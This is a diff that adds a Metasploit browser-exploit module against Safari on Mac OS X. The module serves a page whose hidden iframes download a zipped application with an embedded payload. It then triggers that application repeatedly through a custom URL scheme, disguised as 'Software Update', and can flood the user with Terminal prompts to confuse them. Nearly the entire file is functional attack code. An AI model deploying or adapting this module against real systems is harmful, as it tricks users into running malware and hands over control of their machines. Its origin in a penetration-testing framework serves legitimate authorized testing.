|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ManualRanking |
| 12 | + |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 15 | + |
| 16 | + # Note: might be nicer to do this with mounted FTP share, since we can |
| 17 | + # unmount after the attack and not leave a trace on user's machine. |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'Safari User-Assisted Download & Run Attack', |
| 21 | + 'Description' => %q{ |
| 22 | + This module abuses some Safari functionality to force the download of a |
| 23 | + zipped .app OSX application containing our payload. The app is then |
| 24 | + invoked using a custom URL scheme. At this point, the user is presented |
| 25 | + with Gatekeeper's prompt: |
| 26 | +
|
| 27 | + "APP_NAME" is an application downloaded from the internet. Are you sure you |
| 28 | + want to open it? |
| 29 | +
|
| 30 | + If the user clicks "Open", the app and its payload are executed. |
| 31 | +
|
| 32 | + If the user has the "Only allow applications downloaded from Mac App Store |
| 33 | + and identified developers (on by default on OS 10.8+), the user will see |
| 34 | + an error dialog containing "can't be opened because it is from an unidentified |
| 35 | + developer." To work around this issue, you will need to manually build and sign |
| 36 | + an OSX app containing your payload with a custom URL handler called "openurl". |
| 37 | +
|
| 38 | + You can put newlines & unicode in your APP_NAME, although you must be careful not |
| 39 | + to create a prompt that is too tall, or the user will not be able to click |
| 40 | + the buttons, and will have to either logout or kill the CoreServicesUIAgent |
| 41 | + process. |
| 42 | + }, |
| 43 | + 'License' => MSF_LICENSE, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + [ 'Mac OS X x86 (Native Payload)', |
| 47 | + { |
| 48 | + 'Platform' => 'osx', |
| 49 | + 'Arch' => ARCH_X86, |
| 50 | + } |
| 51 | + ], |
| 52 | + [ 'Mac OS X x64 (Native Payload)', |
| 53 | + { |
| 54 | + 'Platform' => 'osx', |
| 55 | + 'Arch' => ARCH_X64, |
| 56 | + } |
| 57 | + ] |
| 58 | + ], |
| 59 | + 'DefaultTarget' => 0, |
| 60 | + 'Author' => [ 'joev' ], |
| 61 | + 'BrowserRequirements' => { |
| 62 | + :source => 'script', |
| 63 | + :ua_name => HttpClients::SAFARI, |
| 64 | + :os_name => OperatingSystems::MAC_OSX, |
| 65 | + |
| 66 | + # On 10.6.8 (Safari 5.x), a dialog never appears unless the user |
| 67 | + # has already manually launched the dropped exe |
| 68 | + :ua_ver => lambda { |ver| ver.to_i != 5 } |
| 69 | + } |
| 70 | + )) |
| 71 | + |
| 72 | + register_options([ |
| 73 | + OptString.new('APP_NAME', [false, "The name of the app to display", "Software Update"]), |
| 74 | + OptInt.new('DELAY', [false, "Number of milliseconds to wait before trying to open", 2500]), |
| 75 | + OptBool.new('LOOP', [false, "Continually display prompt until app is run", true]), |
| 76 | + OptInt.new('LOOP_DELAY', [false, "Time to wait before trying to launch again", 3000]), |
| 77 | + OptBool.new('CONFUSE', [false, "Pops up a million Terminal prompts to confuse the user", false]), |
| 78 | + OptString.new('CONTENT', [false, "Content to display in browser", "Redirecting, please wait..."]), |
| 79 | + OptPath.new('SIGNED_APP', [false, "A signed .app to drop, to workaround OS 10.8+ settings"]) |
| 80 | + ], self.class) |
| 81 | + end |
| 82 | + |
| 83 | + def on_request_exploit(cli, request, profile) |
| 84 | + if request.uri =~ /\.zip/ |
| 85 | + print_status("Sending .zip containing app.") |
| 86 | + seed = request.qstring['seed'].to_i |
| 87 | + send_response(cli, app_zip(seed), { 'Content-Type' => 'application/zip' }) |
| 88 | + else |
| 89 | + # send initial HTML page |
| 90 | + print_status("Sending #{self.name}") |
| 91 | + send_response_html(cli, generate_html) |
| 92 | + end |
| 93 | + handler(cli) |
| 94 | + end |
| 95 | + |
| 96 | + def generate_html |
| 97 | + %Q| |
| 98 | + <html><body> |
| 99 | + #{datastore['CONTENT']} |
| 100 | + <iframe id='f' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'> |
| 101 | + </iframe> |
| 102 | + <iframe id='f2' src='about:blank' style='position:fixed;left:-500px;top:-500px;width:1px;height:1px;'> |
| 103 | + </iframe> |
| 104 | + <script> |
| 105 | + (function() { |
| 106 | + var r = parseInt(Math.random() * 9999999); |
| 107 | + if (#{datastore['SIGNED_APP'].present?}) r = ''; |
| 108 | + var f = document.getElementById('f'); |
| 109 | + var f2 = document.getElementById('f2'); |
| 110 | + f.src = "#{get_module_resource}/#{datastore['APP_NAME']}.zip?seed="+r; |
| 111 | + window.setTimeout(function(){ |
| 112 | + var go = function() { f.src = "openurl"+r+"://a"; }; |
| 113 | + go(); |
| 114 | + if (#{datastore['LOOP']}) { |
| 115 | + window.setInterval(go, #{datastore['LOOP_DELAY']}); |
| 116 | + }; |
| 117 | + }, #{datastore['DELAY']}); |
| 118 | + if (#{datastore['CONFUSE']}) { |
| 119 | + var w = 0; |
| 120 | + var ivl = window.setInterval(function(){ |
| 121 | + f2.src = 'ssh://ssh@ssh'; |
| 122 | + if (w++ > 200) clearInterval(ivl); |
| 123 | + }, #{datastore['LOOP_DELAY']}); |
| 124 | + } |
| 125 | + })(); |
| 126 | + </script> |
| 127 | + </body></html> |
| 128 | + | |
| 129 | + end |
| 130 | + |
| 131 | + def app_zip(seed) |
| 132 | + if datastore['SIGNED_APP'].present? |
| 133 | + print_status "Zipping custom app bundle..." |
| 134 | + zip = Rex::Zip::Archive.new |
| 135 | + zip.add_r(datastore['SIGNED_APP']) |
| 136 | + zip.pack |
| 137 | + else |
| 138 | + plist_extra = %Q| |
| 139 | + <key>CFBundleURLTypes</key> |
| 140 | + <array> |
| 141 | + <dict> |
| 142 | + <key>CFBundleURLName</key> |
| 143 | + <string>Local File</string> |
| 144 | + <key>CFBundleURLSchemes</key> |
| 145 | + <array> |
| 146 | + <string>openurl#{seed}</string> |
| 147 | + </array> |
| 148 | + </dict> |
| 149 | + </array> |
| 150 | + | |
| 151 | + |
| 152 | + my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX]) |
| 153 | + Msf::Util::EXE.to_osx_app(my_payload, |
| 154 | + :app_name => datastore['APP_NAME'], |
| 155 | + :plist_extra => plist_extra |
| 156 | + ) |
| 157 | + end |
| 158 | + end |
| 159 | +end |
0 commit comments